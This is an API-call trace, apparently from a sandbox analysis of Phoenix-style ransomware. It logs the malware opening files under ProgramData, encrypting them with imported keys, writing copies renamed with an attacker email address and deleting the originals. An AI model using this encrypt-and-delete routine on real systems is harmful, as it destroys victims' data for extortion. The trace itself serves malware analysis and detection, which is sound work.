	[0228.419] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\crypto\\systemkeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0228.419] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1511c0) returned 1
	[0228.420] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0228.420] ReadFile (in: hFile=0x2e4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x61d, lpOverlapped=0x0) returned 1
	[0228.422] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x620, dwBufLen=0x620 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x620) returned 1
	[0228.422] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x620, lpOverlapped=0x0) returned 1
	[0228.423] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151380) returned 1
	[0228.423] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0228.423] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0228.423] CryptDestroyKey (hKey=0x151380) returned 1
	[0228.423] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0228.423] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0228.423] CloseHandle (hObject=0x2e4) returned 1
	[0228.423] CloseHandle (hObject=0x2c0) returned 1
	[0228.424] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\programdata\\microsoft\\crypto\\systemkeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71")) returned 1
	[0228.425] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0228.425] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0228.448] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=29422) returned 1
	[0228.448] CloseHandle (hObject=0x2c8) returned 1
	[0228.448] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico")) returned 0x20
	[0228.448] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.449] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0228.454] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0228.454] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0228.564] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=67664) returned 1
	[0228.564] CloseHandle (hObject=0x2c0) returned 1
	[0228.564] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico")) returned 0x20
	[0228.564] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.564] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0228.564] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0228.564] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0228.565] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=49227) returned 1
	[0228.565] CloseHandle (hObject=0x2c0) returned 1
	[0228.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico")) returned 0x20
	[0228.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.565] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0228.565] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0228.566] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0228.574] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=113140) returned 1
	[0228.574] CloseHandle (hObject=0x2c0) returned 1
	[0228.574] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico")) returned 0x20
	[0228.574] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.574] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0228.574] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0228.574] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowsdefault.json.bk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0228.626] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1103) returned 1
	[0228.626] CloseHandle (hObject=0x2c4) returned 1
	[0228.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowsdefault.json.bk")) returned 0x20
	[0228.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowsdefault.json.bk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.626] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowsdefault.json.bk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0228.627] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0228.627] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0228.627] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowsdefault.json.bk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0228.647] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151380) returned 1
	[0228.647] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0228.647] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x44f, lpOverlapped=0x0) returned 1
	[0228.878] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x450, dwBufLen=0x450 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x450) returned 1
	[0228.878] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x450, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x450, lpOverlapped=0x0) returned 1
	[0228.879] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151400) returned 1
	[0228.879] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0228.879] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x70, dwBufLen=0x70 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x70) returned 1
	[0228.879] CryptDestroyKey (hKey=0x151400) returned 1
	[0228.879] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x122, lpOverlapped=0x0) returned 1
	[0228.879] CryptDestroyKey (hKey=0x151380) returned 1
	[0228.879] CloseHandle (hObject=0x2c4) returned 1
	[0228.879] CloseHandle (hObject=0x2d4) returned 1
	[0228.880] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowsdefault.json.bk")) returned 1
	[0228.881] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0228.881] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\utc.app.json.bk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0228.882] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1663) returned 1
	[0228.882] CloseHandle (hObject=0x2d4) returned 1
	[0228.882] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\utc.app.json.bk")) returned 0x20
	[0228.882] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\utc.app.json.bk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.882] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\utc.app.json.bk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0228.882] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0228.882] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0228.882] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\utc.app.json.bk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0228.882] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151380) returned 1
	[0228.882] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0228.882] ReadFile (in: hFile=0x2d4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x67f, lpOverlapped=0x0) returned 1
	[0228.905] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x680, dwBufLen=0x680 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x680) returned 1
	[0228.905] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x680, lpOverlapped=0x0) returned 1
	[0228.905] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1510c0) returned 1
	[0228.905] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0228.905] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40, dwBufLen=0x40 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40) returned 1
	[0228.905] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0228.905] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0xf2, lpOverlapped=0x0) returned 1
	[0228.906] CryptDestroyKey (hKey=0x151380) returned 1
	[0228.906] CloseHandle (hObject=0x2d4) returned 1
	[0228.906] CloseHandle (hObject=0x2c4) returned 1
	[0228.906] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\utc.app.json.bk")) returned 1
	[0228.907] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0228.908] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\AutoLogger-Diagtrack-Listener.etl" (normalized: "c:\\programdata\\microsoft\\diagnosis\\etllogs\\shutdownlogger\\autologger-diagtrack-listener.etl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0228.908] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0228.908] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\Events_CostDeferred.rbs" (normalized: "c:\\programdata\\microsoft\\diagnosis\\events_costdeferred.rbs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0228.908] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0228.908] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\Events_Normal.rbs" (normalized: "c:\\programdata\\microsoft\\diagnosis\\events_normal.rbs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0228.908] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0228.908] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\Events_NormalCritical.rbs" (normalized: "c:\\programdata\\microsoft\\diagnosis\\events_normalcritical.rbs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0228.908] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0228.908] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\Events_Realtime.rbs" (normalized: "c:\\programdata\\microsoft\\diagnosis\\events_realtime.rbs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0228.925] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0228.925] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\ppcrlconfig600.dll" (normalized: "c:\\programdata\\microsoft\\identitycrl\\production\\ppcrlconfig600.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0228.925] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=24800) returned 1
	[0228.925] CloseHandle (hObject=0x2c4) returned 1
	[0228.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\ppcrlconfig600.dll" (normalized: "c:\\programdata\\microsoft\\identitycrl\\production\\ppcrlconfig600.dll")) returned 0x20
	[0228.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\ppcrlconfig600.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\identitycrl\\production\\ppcrlconfig600.dll.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.926] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\ppcrlconfig600.dll" (normalized: "c:\\programdata\\microsoft\\identitycrl\\production\\ppcrlconfig600.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0228.926] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0228.926] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0228.926] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\ppcrlconfig600.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\identitycrl\\production\\ppcrlconfig600.dll.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0228.964] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151380) returned 1
	[0228.964] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0228.964] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x60e0, lpOverlapped=0x0) returned 1
